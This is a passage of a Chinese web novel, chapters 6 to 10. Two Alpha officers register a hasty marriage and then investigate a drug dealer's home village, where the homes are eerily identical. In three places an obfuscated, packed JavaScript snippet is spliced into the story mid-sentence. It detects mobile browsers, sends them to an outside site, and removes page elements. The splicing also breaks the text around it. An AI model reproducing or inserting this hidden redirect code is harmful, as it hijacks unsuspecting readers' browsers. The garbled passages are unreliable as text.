一分钟前还拥堵的走廊在一分钟后稍显空荡。总之先下楼,去停车场。两人踏着被墙边绿色植物剪碎的阳光影子正朝着电梯走,后边听见小何一声叫唤。 “哥!周部长!”小何捂着警帽,白珊宇小跑着跟在他旁边。 季长岁看着他跑近,颇有一种这货绝对没带什么好事儿的预感。 果然。 “哥,我来开车,我跟小宇和你们一块儿!”何书清笑得那叫一个人畜无害,白珊宇显然还没有受过专业训练,笑容稍显僵硬,眼神也不够自然。 有问题。 果然,在何书清搓着方向盘一阵风驰电掣后,车子停在了昶州市婚姻登记所。 韩瑞憨笑着站在那大门口台阶上,他旁边站着俩警员,左边那个抱着花,右边那个双手端着戒指盒。 “我是孤儿。”季长岁看着他,“你呢,确定不跟家里先说一声?” 周观逸摇头:“我情况跟你差不多。” 台阶上头韩瑞笑容慈爱,加上他微胖的两颊,让季长岁感觉看见了天堂阶梯的指引人。 怎么办,话都说出去了,事到如今开弓没有回头箭。 他咬了咬牙,再说了不是能撤销婚姻吗,于是他正准备最后跟周观逸确认一下…… 再一转头,看见周观逸整个人的僵硬程度宛如在冷冻柜里放了起码八年,眼珠子都不转了。 季长岁纳闷地靠近他,手刚碰到他胳膊,骤然像是触发了老鼠夹,被周观逸一个迅捷到出现残影的动作反钳住他手腕。 “哎?”季长岁完全没有想到会是这个走向。 因为周观逸在瞬间驱动了异能,这是季长岁第一次被“净化异能”。这感觉非常、非常地让他不适,他能非常清晰地感觉到身体里有什么东西正在被抽出去。 时间非常短,大约也就两三秒。周观逸自己也吓一跳,立刻松开了手。 如果他是一柄长剑,那么刚刚大概就是被周观逸从剑鞘里抽出剑身。 并且感官被蒙住了。 直到周观逸焦急地唤了他第二声,他才开始重新接受环境音、温度、光亮。 “嗯?” “对不起。”周观逸的瞳仁都在打颤,“对不起季警官,我刚才…我太紧张了所以没控制住自己。” 季长岁悄悄松了口气,那柄剑被收了回来,与剑鞘重新成为一个整体。他短促地“呼”了一声,接着笑起来:“没事没事,我理解,我还是第一次被……被净化,挺神奇的。” “还…还结吗?”周观逸小心询问。 “结,走,进去。” 警服,红布景,拍照。 韩瑞提前帮忙取过了号,排队没超过五分钟,来到窗口打印两张婚姻申请书,窗口工作人员向二人确认了一件事情:你们都知道对方是Alpha,对吧? 签字,交换申请书,签字。 打印证件,落钢印。 韩瑞的下属将戒指盒递给他们,有很多新人在这里交换戒指。 黑色的绒面盒子里两枚银色指环,是当下比较热门的品牌,因为广告词编得很有水平,得到许多年轻人的青睐。 大概就是那些忠贞不渝地久天长。 两人安静地为对方无名指戴上戒指,接着,视线同时从手移到对方的脸。 “恭喜二位,新婚快乐。”窗口的工作人员说完,“麻烦…呃,麻烦二位给后边的让个位子?” “哦对不起。”季长岁抓起周观逸的手,离开窗口,穿过一对对登记婚姻的人们。 穿过取号的机器、拿着结婚证合影的新人、打着呵欠的保安,推开玻璃门。 到停车区,季长岁松开他手:“上车,走。” 7. 第 7 章 赵胜的原籍地距离昶州市中心向北二十公里左右,叫谷福村。 村口有水果摊,但似乎没有橘子,这时候不是橘子的季节。好像有枇杷还是什么的,不过周观逸看起来没有晕车。 村子建设得很漂亮,进村的大路甚至比昶州市市区里的几条路还平坦,井盖儿也是严丝合缝,车轮压上去甚至不会特明显地颠一下。 进了村子里,给人的感觉是很亮堂,右手边一个农家乐大院儿。因为连月以来失控异能者事件,村子少有人至,挺安静。 跟辖区派出所的民警汇合后,民警带着他们朝赵胜户籍地去。那地方比较偏,要走一段省道。民警开车,白珊宇坐副驾驶,小何就来后边跟他们俩挤。 “你们找的那个赵胜啊,他就在村西头那边读到初二就下来了。”民警说着,拐上一条坑坑洼洼的土路,“他家里就剩他老爹。咱这儿拆迁的时候他回来过一次,是四年前了。你们不知道,那小子贼狠,因为房子是过去生产队的,拆迁赔不了太多钱,回迁的房子也是村里的安置房,那小子就拿着农药抵在他老爹嘴巴上,说敢拆他就给他老爹灌下去。” 季长岁问:“爹?我看户籍信息上是他外公?” “噢,我们这边的爷爷外公都叫‘老爹’。”民警笑了笑,“他爸被他妈砍死了,他妈砍死他爸之后自己跳了河……欸?你们是异能者管理局,可赵胜他不是异能者啊?” 众人听见这话,小何手扒拉在副驾驶椅背,说:“不可能呀,赵胜就是异能逃脱的,当时起码二十个人看着呢。” “啊?”民警也很意外,也因为非常意外,所以不自觉地提了些嗓门儿,“不可能!且不说赵胜上户口那年做的基因检测他是个普通人,当时因为拆迁,异能者管理局的人也过来了,他们也没在赵胜身上查到一点儿啊!” “可——”小何这个“可”后边的“是”还没接上,膝盖被季长岁的指尖点了点。 他转头,因为周观逸坐在中间,他们俩眼神交流需要越过周观逸。季长岁朝他轻轻摇了摇头,何书清遂闭上嘴。 “请问他的直系亲属里有过异能者吗?”季长岁问。 “都没有。”民警答得坚定,“所以今儿上午听说你们过来,咱们所里还奇怪呢。” 土路开得慢,总算是到了。 空气里能闻见牲畜的味道,不远处有个塘,周围用铁网随便围一围,防止鸡鸭跑出去。下车后周观逸四下看了看,他一路上都没说话,季长岁快速朝他看了一眼,然后默默用拇指摩挲了下无名指上的戒指。 不太习惯,存在感好强。 “这边没怎么变过。”周观逸忽然说,“那边池塘还是卢翠家的吗?” “是的,是卢翠大姐家的。这边有水塘子的都没拆,社区给大姐他们家发工资,看着水塘不让人钓鱼。”民警说完,“你认得她家?” 季长岁也纳闷,狐疑看着他。 周观逸说:“我原籍也是这儿的。” “你是这个村的?”季长岁问,“你不早说?” “结婚申请书上有写我的户籍,我以为你看见了。”周观逸说完,反过来凝视他,“你根本没看。” “……” 何止户籍,他连申请书上对方姓名都没看。 山林有风幽幽路过,地上的草啊叶子的跟着扑扇了两下。 另外三人陷入了没事找事总之要显得自己很忙的默契境地。周观逸笑了下,说:“我在这里出生的,跟我外婆住到念小学,之后我妈把我接走了,卢翠姐从前是我们邻居。” “哦……”季长岁又摸了下戒指,然后手插进口袋,“赵胜家住哪儿?” 他转移话题还是那么强横。 民警朝左边的小道指了下:“那边,车开不上去了,得走过去。” 一行人哼哧哼哧朝上边走,时不时听见犬吠和禽类鸣叫,季长岁跟在最后边。 这条土路不太好走,甚至有一小段路只容人们排成一列来走。两侧是野蛮生长的带刺植被,季长岁观察着这个地方,石头砌的猪圈,按压式的水井,视野之内的现代化锚点是国家电网的输电塔。 “哎。”季长岁朝前边轻轻唤了一声。 周观逸回头。 季长岁:“过来。” 周观逸到他旁边来。 “不是说这儿拆迁吗,怎么还这么多户。”季长岁说。 “可能不愿意走,有的是空房子。”周观逸指了一下田边的砖头房子,“像那种,只有耕种季节才过来住一小阵子。” “所以当年拆迁其实没拆成?”季长岁问。 周观逸觉得奇怪:“这要问警察吧……你不信任他?” “不是。”季长岁摇头,“他是辖区派出所的,没不信任,我只是需要整合一下问题,有时候问题和问题连接起来就是答案。” 前边要过一个水塘子,那水塘子中间最浅的地方放了几块砖头充作“桥”。民警笑得有点不好意思,提醒他们注意脚下。 “还有什么问题?”周观逸问。 “谷福村里有异能波动监测,所以,拆迁那年赵胜又是怎么逃的呢?”季长岁踩着最后一块砖,跳到岸上,“拆迁是四年前的事儿,那时候赵胜已经在跟着他老大□□运毒自顾不暇,他是怎么知道拆迁呢,谁告诉他的呢?” 周观逸脚步停顿了下,旋即跟上,踩着有些松软的土路:“赵胜进过一次监狱,那时候是毒资进去的,所以他当时有钱,真能为了拆迁款出现在大庭广众……?” “对啊。”季长岁回头,看了眼那水塘子。 估计等到夏季,雨水充沛,这水塘子就只能蹚着过来了。季长岁想不明白,这地儿只有最基础的水电,拆迁怎么会有人不愿意走。 “这家。”民警停下来,“坡上那户就是赵胜家。” 季长岁抬头,很有水准的角度,属于电瓶车够呛能上但攒攒劲还是能上的坡。 坡上三道宅宅的车轮印,看起来是辆三轮儿。 一个没有任何防盗能力的铁栅栏门,民警深深吸气,然后朝着里头大喊:“胡大爷——!!” 季长岁料到了是这种方式。 他并没有幻想民警去按一个门铃儿。 胡大爷没出来,不远处的狗倒是叫了,没有冷场。 民警挠挠头发笑起来:“他耳背,又是独居老人,咱直接进去吧,街道的人过来探望他都是直接进的。” 为什么说那铁栅栏门没有防盗能力,因为民警直接从栅栏档口伸手进去,就能拉开插销…… “这院子不防贼的,以前胡大爷院子里养了条狗,后来狗死了。”民警说。 胡大爷拄着拐出来的,就在一行人刚刚进他家院子的第二秒钟。 “就来开了。”胡大爷拧着眉毛瞧着民警,“小卓,你再这样子开我家门,我写投诉信了。” 民警小卓有口难言,嘀咕着:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749557|174274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明就是你刚好出来……” 末了,小卓又尴尬地跟季长岁他们解释:“不是这样的,真的,胡大爷真的耳背,每次都……不信你们可以问街道居委会的人……” “没事没事。”季长岁不想深究这个,“我给他出示一下证件。” 说着,季长岁迈步上前,院子里挺干净,看起来老爷子常常清扫。胡大爷眼神警惕:“看不懂。” “失控异能者管理局。”季长岁手指指着证件上的字,“特战警队执行官,季长岁。” “不认识。”胡大爷说。 “我来我来。”小卓走过来,“胡大爷,他们是市里警察局的,来调查赵胜。” 不是警察局……但好像直接跟老人家说警察局会比较好理解,季长岁没有纠正,只是回头看了眼何书清肩膀上的执法记录仪,工作灯亮着的。 “赵胜死了。”胡大爷说。 “没没没。”小卓立刻扭头给季长岁解释,“老人家把不成器的后代统称为‘死了’。” “明白。”季长岁点头。 季长岁朝小何打了个手势。小何会意,走过来从书包里拿出一张通缉令:“大爷,赵胜还活着,在外边逃窜,您看,这是政府……” “我不认得他。”胡大爷不等他说完,别开脸,“上卢翠家去,叫卢翠她男人来给我修电视机。” 季长岁寻思了下,“大爷,电视机我来修,但您得告诉我,赵胜为什么不让拆迁。” “叫卢翠她男人来!”胡大爷拐杖狠狠戳了两下地。 “我去叫。”周观逸过来拍了拍季长岁手背,压低声音,“卢翠姐的丈夫是个异能者,我过去问问怎么回事,借我把枪。” 说完,他补充:“子弹也要。” “……”季长岁沉默了一下,把后腰警服外套盖着的手枪拔出来给他。 他顺手查膛,插进自己的枪套里,转头就走。 “等下。”季长岁叫住他,跟着他走到院门口来,“那人什么异能啊,你一个人去行吗?” 周观逸恍惚了一下,非常意外,接着解释:“没事,借枪是以防万一,卢姐丈夫的异能是很普通的低阶水系,他们家养鱼,看水质用的。” “喔。”季长岁不知怎么,进到这山里来之后总觉得不安。 周观逸大约是看出来了,用戴着戒指的手在他肩膀摁了摁,稍稍笨拙地说:“你放心,这地方幽静,我要是开枪了你肯定能听见。” 这点季长岁明白,更何况人家少说也是特殊作战部的部长,单兵战斗能力可见一斑。他点头:“行,去吧,小心点。” “嗯。” 周观逸刚迈出两步,又转头回来:“对了,警官。” “嗯?” “别用异能修电视,你知道的,异能有残留,万一赵胜或者他同伙折回来,容易盯上你。”周观逸叮嘱。 这点季长岁明白的,同时他相信周观逸也知道自己明白。因为周观逸说完这话之后,表情局促了一下,知道自己说了一通废话。 不过季长岁接受了他的叮嘱:“好,放心。” 很奇怪,只是注册结婚,但给人的心理暗示还是很强。这跟平时的季长岁大相径庭。 小卓见他俩在门口你一言我一语,方才又听见了关于婚姻申请的对话,好奇地问小何:“哎哎,两位长官结婚多久了?” 小何“唰”地抬起手腕看时间:“足足三个小时了。” 8. 第 8 章 胡大爷家里的陈设很简单,都是最基础的生活用品,台面上的抹布都搓得快透光了。小卓进屋后轻车熟路地先开窗通风,瞧了眼胡大爷的水壶,里头没有开水,小卓就趁手接了一壶自来水烧上。 屋里没有那么多凳子,小卓问胡大爷话的时候,季长岁叫何书清和白珊宇拿着光谱仪和扫描仪到外头去,把胡大爷家的所有细节全部录下来。 跟八十多岁的老爷子交流需要一些特殊的技巧。 就这方面而言,季长岁这个特战警非常佩服小卓。 小卓张口就是:“胡爹爹,这位警官是市里来的,一会儿他问啥你答啥,都得说实话,否则往后再也没人给云丫儿上坟了哈。” “……?”季长岁愕然看向小卓,也因为太过惊讶而转头的速度比较慢,倒显得他眼神呆滞。 是这样的吗这位警察?这个“云丫儿”听起来像是胡大爷的女儿赵胜的娘,所以让胡大爷说实话是通过这种套路? “你甭拿这事儿拿捏我。”胡大爷停顿了下,嘴上这么说,但那双相比起年纪,更加清亮的眼神却有明显的缓和,“赵胜的事情,我早就给你们说了,找到他就枪毙他,再来枪毙我,一干二净。” 这话小卓听麻木了,笑了下:“就不在您身上浪费子弹了。” 小卓稍微站起来,拎起凳子,在炉子边上坐下,给季长岁让位置。 季长岁清清嗓子:“大爷,四年前是您通知了赵胜家里拆迁吗?” 胡大爷摇头:“不是我,我不晓得他电话号码。” “那您知道四年前他从哪儿回来的吗?” “不知道。”胡大爷继续摇头。 季长岁没有抱希望于能从这位老大爷嘴里问出有效情报。他认真地点头,喉咙咽了下:“那您还记得那天他是上午回来还是下午回来的吗?” “上午。”胡大爷不假思索,“我记得相当清楚,他踹门进来,我刚刚起床,还没放狗出去,狗上去咬他,他踹了狗一脚。” “明白。”老人家一般睡得早醒得早,很可能是清晨,季长岁回头问小卓,“拆迁是什么季节?” 小卓正抱着块抹布将水壶子从火上拎走,他回忆了片刻:“早春,还冷着呢,下头那个小溪都还飘着冰。” 所以是从某地出发,抵达谷福村时快要天亮,早春山溪不算急,水也没那么深。 小卓烫了两只杯子,倒出两杯水搁在台面上凉着。又说:“对了,那天我见着赵胜的时候,他穿很薄,后来咱们看当时的执法记录还聊着呢,说这小子得是疯了,就穿一运动服。” 人会记得比较有冲击力的事情,季长岁想了想:“可能是吸多了,感知不到冷暖。” “哦……”小卓默默点头。 胡大爷抹了两下眼睛:“你们怎么逮着他了不枪毙他?” “他跑了。”季长岁回答,“大爷,赵胜是异能者吗?” “是屁他是。”胡大爷摇头,“小时候他老子带他测过好几回,为这差点没把他打残废。” 世界上没有半途觉醒的异能者。季长岁自然也明白凡事有例外,不过目前为止他决定暂时将赵胜定义为“无异能者”。 那两杯滚烫的白开水涌着让人舒服的烟雾,视觉上,这清贫破败的小屋子终于有了些温度。 “赵胜读书时候成绩怎么样?”季长岁问。 胡大爷摇摇头:“一般,中不溜。” “他有因为成绩挨打吗?” “打。”胡大爷看着灰扑扑的地,“随便挑个什么由头就打,打得出不来声儿。” “怎么打的?”季长岁问。 胡大爷还盯着地面:“拿扁担打,一开始胜儿跑,他老子追不上他,下一回就给他栓起来打。” 不知道是不是小卓的错觉,他隐隐觉得比起赵胜是怎么回来的怎么逃走的,季长岁更在意胡大爷描述往事时的神情状态。以及……季长岁很在意细节——并不是几点几分做了什么的那种细节。 而是让胡大爷这般高龄仍记忆犹新的细节。 季长岁问:“赵胜反抗过吗?” “反。”胡大爷稍微抬了抬头,“有一回拿了镰刀割他爸手臂,他爸也去拿刀……拿刀,没去跟胜儿砍,去砍了胜儿他妈。他说,你怎么动老子,老子就怎么动你娘。” 季长岁知道早些年在国外有几个实验室偷偷做实验。大致就是普通人在绝境之中能否激发出异能。 那实验过于反人类,其中一些环节让季长岁听完恶心得几顿吃不下饭。 实验被发现后叫停封杀,所以没有人知道答案。所以季长岁这么问,是为了知道赵胜是否陷入过绝境。 那么看来赵胜不是在遭受家暴时觉醒异能。 “明白了。水塘旁边卢翠家夫妻过来劝过对吗?” “是。卢翠她男人救过他娘俩。” 季长岁要问最关键的问题了:“您知道赵胜为什么不让拆迁吗?” “不晓得。” “他在这房子里藏东西了吗?” 小卓紧张地紧紧并拢膝盖。 这儿会□□吗? 可是前几年市里也存疑,当年那么多探测仪啊警犬都过来了,一无所获。 胡大爷半晌没回答,出神了似的。季长岁也没催,就安静地等着。 台面上两只杯子里的开水已经温了下来,小卓将两杯水递过来,胡大爷回神,捧过来喝了两口。 “你们把这儿拆了吧,掘地三尺也要找出来,然后把我枪毙了,成不成?”胡大爷问。 季长岁也喝了两口水,然后伸手在大爷膝盖上按了按:“大爷,早不是连坐亲属的时代了,您也宽宽心,房子拆不拆的也不是警察说了算,赵胜的事儿牵连的因素很复杂,真不是一颗子弹能解决的。” 胡大爷抬头看着季长岁,目光全然是个绝望的老人:“我家云丫儿是个人物。” “是。”季长岁点头,“她是的。” “可惜跟了个废物,生了个废物。”胡大爷又说。 “是。”季长岁点头,随后站起来,“就问到这,谢谢您啊大爷。” 小卓立马也站起来:“就问完了?” “对。”季长岁收起录音笔,“就问这么多。” 小卓目瞪口呆:“这点事儿我也都知道呀。” 季长岁笑笑:“卓警官,我相信你也知道这些事儿,但我需要一些细节。” 屋子里很灰,不知哪一年的挂历画上福娃泛着灰,门口发脆的对联是灰红色,床上的床单枕头也败了色。 只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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后边还跟着个半大小子,十六七岁的模样,瘦条条的。 “警察叔叔好。” “……你好。” 卢翠一家挺照顾胡大爷,篮子里带了鱼和肉,还有鸡蛋馒头。他们看起来常常过来,李大哥二话不说起锅烧油,卢翠抄起那薄如蝉翼的抹布擦桌子,李稻一屁股坐在狗窝旁边的石墩子上继续看手机。 声音杂乱了起来。 探测仪的工作音,李稻那手机里游戏攻略的夸张特效音,铁铲铁锅剐蹭着。胡大爷打开了电视机,雪花点滋滋啦啦……李大哥丢进去几根新柴后,拍拍手过去看电视机,先拍了几下…… “季警官?”周观逸又叫了他一声。 “嗯?”季长岁猛地回头,跟他近距离视线撞了个猝不及防,“不好意思走神了,你叫我?” 周观逸自己也愣了下,太近了,又隐约闻见尤加利味道。 “……嗯。”周观逸稍微向后退了些,“枪还你。” 季长岁收起枪,周观逸正要进去那间屋子,手腕被握住,向后拉。他顺着力道转回身,又一次跟他视线相撞。 环境音依然杂乱无章。 季长岁顺势将他拉近,近到胸口与胸口约莫距离半掌。 季长岁靠近他耳边:“部长,不太对劲啊,这个时节的山林,为什么没有鸟叫。” 9. 第 9 章 “嘘。”周观逸的脸偏移一点方向,嘴唇朝他耳朵,交换成周观逸说,季长岁听,“别打草惊蛇,先进屋。” 季长岁倏地定在那儿了。 不仅是这地方确实不对劲,以及……以及他说不上来,总之自己就不动弹了。 周观逸退开一些位置,看着他:“走吧。” 卢翠夫妇俩做菜很利索,炒了一盘青椒肉片,炖了三条鱼。算不得丰盛,量也不大,所以几位警员都不打算吃。 卢翠不乐意了,她说特意捞的鱼切的肉,就为着小周今天结婚。 盛情难却,又是和赵胜有过接触的人,周观逸和季长岁坐下了。何书清跟白珊宇委实不好意思一起分享这可怜巴巴的两道菜和几个馒头,说再去走访几户人家,跟着小卓一块儿走了。 李稻是他们的二儿子,大女儿在市里读书。卢翠刚坐下就开始唠自己家里的事儿,说大女儿成绩好,快高考了,想叫她大学去桃榔读,那儿社会稳定治安好。 又说这个小儿子,班里排倒数,当初就是婆婆非催着再生一个才要的他。 李稻似乎听这些话听麻木了,揪着馒头蘸鱼汤吃,脸上只有咀嚼动作。 终于,季长岁在卢翠细密的家常话里抓住了节奏间隔:“所以拆迁那年,您大女儿在村子的初中上学?” “是哦!” “她一般早上几点从家里出发?” “哟,最迟也六点一刻。” “她自己去学校?” “老李送。” 季长岁转头问李河添:“赵胜回村那天,您早上也正常送孩子上学吗?” 老李将馒头放回碗里,坐直起来:“送的,那天下雨,路不好走,一鞋子水,还黑。我记得很清楚,因为前一天我股市中签了,哈哈哈……特高兴,早上在校门口给了大丫儿二百块钱!” 话刚说完,老李老脸一红:“唉哟,多少年前的事儿了,见笑了见笑了。” 季长岁平静地说:“没有,这是记忆锚点,否则人很难回想起很多年前的某一天。” “对对对……”老李点着头。 胡大爷牙口不行,得等馒头在开水里泡得软烂些再吃。整个午餐老人家没怎么说话,不过能看出来他跟卢翠家相处得很融洽。 一顿饭季长岁和周观逸就象征性吃了点儿,解释着早上吃多了,吃得也晚什么什么的。总之两个人高马大的Alpha一人掰一半馒头,捡着配菜细嚼慢咽着,终于把这顿饭糊弄了过去。 李稻筷子一放就出去院子里,卢翠收拾锅碗,李河添打开工具箱去瞧胡大爷的电视机。季长岁给周观逸去了个眼神,周观逸点头。 两人来到院子里。 李稻的手机横着拿在手里,疯狂滑动屏幕,看起来在玩游戏。 季长岁的手习惯性搭在战术腰带上,步伐自然地靠近他。没问话也没说话,就看了眼他屏幕,在玩一个时下小孩儿之中很火爆的手游。 李稻知道他过来了,眼珠子只稍微一抬,看见季长岁的腰,又低下头去。 “这儿网能打游戏吗?”季长岁顺嘴闲聊一样,“我以为山里网很慢。” 李稻:“胡老爹家位置高,网好。” “嗯。”季长岁嗯完就迈步离开,好像真的只是顺嘴一聊。他走到周观逸身边,依然是贴近他耳边,轻声说:“去观察一下网络波动。” 接着快速打了两个指挥手势: 三分钟后,别走太远。 周观逸点头。 季长岁在院子里这里看看那里瞧瞧,没什么可疑的东西。他表现得很轻松,甚至带了点不想工作的疲态,所以卢翠她老公出来院子里的时候笑了两声:“唉哟,警官,怎么坐在地上了?嗨呀这孩子,你把墩子让给警官坐啊!” “没事没事。”季长岁站起来掸掸屁股,“我看看我同事上哪儿去了,估计抽烟去了吧还是什么的,您忙好了?” 李河添“嗳”了声:“修好了,小毛病,这电视是电话线信号,有个水晶头接触不良。” “哦,小问题。”季长岁说,“您这就跟卢姐回去了?” “回了回了,老爷子要午睡了。”李河添走到儿子旁边,一巴掌不轻不重带了点恨铁不成钢,“走了,从睁眼就玩,玩到睡觉,玩这东西有什么用。” 大约是顾忌警察在这儿,李河添没有责骂得太过头,这么听起来是普通家庭里爱玩游戏小孩儿常听见的。季长岁没管,而且周观逸回来了。 周观逸向李河添笑笑:“您跟卢姐回去了?” “回了!”卢翠笑吟吟地从屋里出来,挎着来时的篮子,篮子上还是那块很干净的碎花布盖着,“老爷子准备睡了,我们回去杀几只鸭子送去村里饭店,人家四点钟就要!” “一块儿吧。”季长岁说,“我跟周部长也准备走了,话都问完了。” 周观逸看看他,没出声,没反驳,没问。 默契到恍若共枕眠了十余年。 卢翠先是很明显地愣了下,李河添也差不多,只不过他立刻笑了起来,连带着卢翠也回过神。李河添笑道:“是啊!你们不是刚结婚嘛,都不放个假就过来走访,太辛苦了!” “是啊,这不……反正就先回去了,记录什么的也都做了。”季长岁顺着这话,“我们…呃,周、周部长晚上还要跟我家里吃饭呢,得换身衣服。” 他觉得李河添的笑容有些过头,微妙的有些虚惊一场后的畅快。 卢翠赶紧点头:“是的是的,我们小周从小帅到大!要带些礼物啊,记得买买水果啊牛奶,哎,你家里没人,去了见着人家家人要嘴甜,晓得嘛?” 周观逸点头:“晓得。” 虽然有点地狱,但周观逸想的是,这会儿已经跟季长岁家里吃过午饭了。他家就他一个人,卢姐。 “走走走。”卢翠快步走在前边带路。 走回警车停着的地方时,刚好碰上何书清一行三人,大家就在这里分开,卢姐一家三口回水塘旁的家里,小卓小何小白三个人很明显的有话想说。 季长岁:“先上车。” 车子原路返回,从土路开上省道,开回村里。 小卓在所里找了个空会议室,五个人依次坐下。何书清把平板电脑面向两位没去走访的长官:“哥,部长,我们走访了没有拆走的几家住户,都是留守老人和儿童,没问出什么特别的,但是……你们看。” 平板上是两个分屏,方便对比画面。两户一组,很直观。季长岁也是立刻发现了—— “一模一样。”季长岁扭头看周观逸,“他们所有人家里的陈设都一样。” 小卓整个人表情很紧绷:“是的,说来惭愧,我也是……今天才意识到。” “从来没人发现过吗?”周观逸不懂,“不应该啊,这很明显。” 小卓眼神看起来很害怕,是后怕的那种,他摇头:“不不,四年前山区老房子拆迁的时候这些不愿意拆的住户闹过,因为他们房子原则上是生产队的统一产权,是宿舍的形式,所以其实只要生产队同意拆迁就可以拆,当时的拆迁队就吓唬吓唬他们,稍微砸了那么一下……后来呢又不知道怎么不拆了,砸的那些家具啊家电,就上边统一补偿下来,所以各家各户都是一样的水壶、电视、床头柜……我们从没觉得哪儿不妥。” “可是,连电视机屏幕的朝向和角度都一样。”季长岁看着小何说,“如果这可以说是巧合,那么电风扇的磨损程度为什么一样,还有这里,所有住户的挂历都展示同一个月份,五月,明天就是五月一号。” 那些挂历各式各样,有的是福娃,有的是明星。 如今有了手机电视这些设备,加上老人家腿脚不便,取下挂历再翻一页挂回去这个动作逐渐被省去。 所以挂历停在那儿很正常,但走访录像里,每一户家里的挂历虽是不同年份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749559|174274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可都停在五月。 不同年份的五月,五月怎么了? 五月就是明天。黄历上今日宜婚,明日如何,季长岁不知。 “对了,部长。”季长岁视线移到周观逸脸上,“手机信号怎么样?” “靠近胡大爷家信号是满的,越远越少。” “意料之中。”季长岁点头,旋即想起,眼前这位也是谷福村人士,“你外婆家也是这样吗?” 周观逸没想到问上自己了,不过如实作答:“不记得了,应该不是,因为我妈接走我那年,我外婆过世了,我妈把那房子给卢姐家当仓库,感谢她那几年照应我们。” 季长岁迟钝地点头:“总之这里肯定有些问题,我们……” 他话没说完,被面如死灰的小卓打断了。 “警…警官……”小卓嗓子在哆嗦,“你们能不能别走……” 他快哭了。 这事儿的诡异程度对于小卓来讲实在是太超过,因为这村子不大,住户也不多,出去溜达一圈即便叫不上名字多少也脸熟。 熟悉的人和物会带来安全感。小卓在这里待了四年,半夜若是有烧烤摊闹事,他听个店名大概就能猜到是哪位高人喝大了。 季长岁在观察小卓。 如果是演的,那属于恐怖等级的演技了。小卓看上去三十出头,要不是一身警服,估计这会儿该打摆子了:“我不明白怎么会变成这样……我们村一直都好好的,出了赵胜这毒贩之后也一直、一直没发生过什么大事啊……” “我理解。”季长岁看着他,“这样,我们先把这些资料整合做好发回局里,然后……今晚先在这里观察,这儿有住的地方吗?” “有!”小卓不哆嗦了。 下午何书清跟白珊宇在辖区派出所里做材料,季长岁周观逸在所里开了个会说明这情况。让季长岁比较意外的是,小卓的领导们似乎觉得这都是误会。 因为谷福村很太平。 近两年,连偷电瓶的都没有。 只有小卓非常害怕,有一种原来自己一直生活在怪物群落中的恐惧感。 直到傍晚,二人独处时,才开始了真正的信息交互。 村口的水果摊老板正要回家,季长岁买了一兜子手剥橙。 从村口向外走,越走路灯越暗,夜里凉风习习,要不是后面有个村子,难免瘆人。 周观逸先说话的:“卢姐家也那样。” “录像里那样。”他补充。 季长岁剥开橙子掰一半递给他:“卢姐夫妇很奇怪。她老公说送大女儿上学的那个清晨是不合理的。” “你的意思是不该记得那么清楚?”周观逸掰一片橙子。 “水系异能。”季长岁也吃一片,边嚼边说,“下雨对他不会有影响,即便是最低阶的水系也不会一鞋子水。” 周观逸恍然,他从军的,这方面没那么敏锐:“是。” “还有胡大爷家网速那么快,也是个问题。”季长岁说,“这村子要查,需要管理局来异能者帮忙查。” 说完,季长岁意识到一个问题。 他脚步慢下来,周观逸也放慢速度,无奈地看着他。 “哎……”季长岁叹气,“想起来了,人手不够。” “先从卢姐家查吧。”周观逸说,“他们跟赵胜接触得多。” “以前……卢翠也是这样吗?邻里之间热心帮忙。”季长岁问。 “嗯。我外婆眼盲,她帮了我们很多。” 眼盲的老太太和一个没灶台高的小孩儿,季长岁咽下橙子,又把自己手里这一半再掰一半递给他:“这还挺甜的。” 周观逸笑笑。 很快,笑不出来了 热心民警卓晓维同志欣闻两位新婚,准备了招待所里干净敞亮的大床房。 不知从哪搞来了一套大红床单。 这……新婚夜啊?两人懵了。 10. 第 10 章 “要不,我们晚上出去暗中巡逻一下这个地方?”周观逸提议。 因为方才乍一看这张红色大喜床过于夺目,所以细看才发现……他们还在床头正上方贴了“囍”字。 季长岁调整了一下状态,他还攥着门把手,圆滚滚的把手快被他焐热了。接着他说:“这些天他们会看监控,到时候看见咱俩半夜三更不睡觉在村子里游荡,是不是更诡异。” “是。” 季长岁再次调整了一下自己,然后闭了下眼睛,再睁开时反手带上门。 他带得有些重,力道没控制好,或许说他根本没分出注意力去在意一下自己怎么关门——他能把门朝着正确的方向关上已经不错了。 当他意识到自己关门太响的时候准备跟周观逸说句不好意思,发现这人压根没被影响,果然这“婚房”的冲击力够大。 “你先…先去洗澡吧。”季长岁说,“我微信上再问小何点事儿。” 房间的陈设蛮好,总之在季长岁的认知里,这样的房间莫说招待所,搁在酒店旅馆里高低要三百一晚。 他轻轻“呼”了声,挣扎了一下,在床角坐下……屁股刚碰着大红喜被立刻又弹起来,卫生间的花洒声浇得季长岁在微信上总共打7个字错了3个。 他想问小何“录像局里怎么说”,结果打成“气象局里怎么输”,并且发了过去。 长按撤回之后1秒,小何回复:气象局里就算必赢也不兴赌啊哥。 ……知道了。 这人怎么时刻紧盯着微信啊,撤回都防不住他。 